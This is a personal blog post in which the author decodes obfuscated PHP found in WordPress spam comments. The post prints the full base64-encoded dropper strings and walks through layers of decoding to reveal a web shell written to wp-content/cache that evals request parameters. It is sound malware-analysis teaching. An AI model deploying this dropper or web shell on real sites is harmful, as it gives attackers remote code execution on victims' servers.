terriko: (Default)
[personal profile] terriko
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.


So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));


Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"


Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));



Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

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